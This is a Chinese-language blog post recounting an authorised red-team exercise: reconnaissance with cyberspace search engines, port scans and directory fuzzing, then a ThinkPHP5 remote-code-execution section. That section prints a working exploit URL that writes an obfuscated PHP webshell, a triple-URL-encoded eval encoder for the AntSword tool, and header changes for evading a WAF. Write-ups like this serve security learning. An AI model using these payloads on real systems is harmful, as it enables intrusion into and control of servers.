前言
挺久没写文章了,上半年和朋友来了家刚成立的小公司,一起成立了Wings安全团队,很多事忙(懒),也有一些东西不方便分享出来。正好前不久有机会参加了一次攻防演练,拿了第一还是非常开心的。在过程中遇到几个还算曲折的点,正好分享一下(水一篇文章)。
信息收集的利用
信息收集是进行渗透必不可少的环节,信息收集的目的是为了发现更多有用的信息,从而提高渗透成功率 。互联网上相关的文章很多,都大同小异,我们要形成自己的一套思路和流程,并不断学习优化。
全端口扫描
网络空间搜索引擎的出现,提高了信息收集的效率。
常用奇安信的hunter(https://hunter.qianxin.com/)和白帽汇的fofa(https://fofa.so/)
之前一直用fofa,现在用hunter,确实渗透中节省了不少的时间。
网络空间搜索引擎固然强大,但不能过于依赖,仍然存在一些问题:
1、检测端口有限
无法对1-65535全端口进行检测,且存在延时性。
2、设备报警
网络空间搜索引擎不只服务于红队,也会服务于蓝队,目前一些防护设备已经集合了一些网络空间搜索引擎的API,当红队搜索某个目标/ip访问时,会触发设备报警,从而被蓝队人员的注意。
因此对重要ip资产的全端口扫描是必不可少的,端口扫描的工具就不再介绍了,nmap yyds。
默认/空白页面的fuzz
扫描完端口,对web资产访问会经常访问不到具体的系统,而是一些默认/空白页面。
常见的有中间件的默认页面。
Tomcat
Nginx
IIS
403,404等报错页面、空白页面等等。
在攻防演练中,通过不断的信息收集通常能发现大量的这种web资产。
部分默认/空白页面是作为API接口来使用的,没有具体的系统页面,经常存在swagger未授权访问,打开突破口。
更多的默认/空白页面需要目录正确才能访问到系统,通常从三点进行。
1、常规目录扫描
利用常规目录爆破工具进行扫描,可能存在网站备份文件,swagger接口等。
2、fuzz
经常使用系统名中文首字母作为目录名,在完全黑盒的情况下,可以尝试对目录进行字母a-z随机组合1-4位的fuzz。(5位fuzz耗费的时间太久)
3、其它信息收集
结合收集到其它信息,对网站目录进行有方向性的猜解。
实战利用
对目标ip进行全端口扫描发现目标ip开放了大量web端口,大部分web端口访问为默认页面,无法访问到具体系统。
测试能访问到的网站系统,未发现能直接getshell的漏洞。
进行进一步信息收集发现某网站存在内部链接,链接大部分为内网ip,并且给出了对应系统的完整路径。
猜测部分内部链接系统映射在公网开放。
因此把内网链接的每一个路径整理下来,对互联网上默认页面端口进行一一爆破。
成功匹配到正确的路径,访问到对应的系统页面。
最终发现存在弱口令,文件上传getshell,外部打点成功。
Tp5 rce bypass waf
在渗透实战中经常遇到各种各样的waf,绕waf成为渗透必不可少的技能。
目标使用了thinkphp5框架,存在命令执行漏洞。
限制条件:存在waf防护,命令执行函数被禁用。
参考的这位师傅文章的方法
https://www.cnblogs.com/nul1/p/11863574.html
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc);$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4].$poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));?>
命令函数被禁用,偷懒想到了可以用蚁剑的插件来解决。
由于目前对传输内容进行了3次url编码,因此需要新增一个编码器去对应。
对${randomID}前后进行3次url编码
3次url编码后
%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%35%66%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62${randomID}%25%32%35%25%33%35%25%36%34%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%39%25%32%35%25%33%33%25%36%32
蚁剑连接的请求会有特征,因此需要对默认的Header进行修改
连接成功,使用插件成功绕过disable_functions函数禁用执行命令,偷懒成功。
总结
最喜欢在实战中学习了,能轻而易举发现自己的不足,自己需要学习的地方还有很多,希望公司和团队都能发展的越来越好吧,继续加油~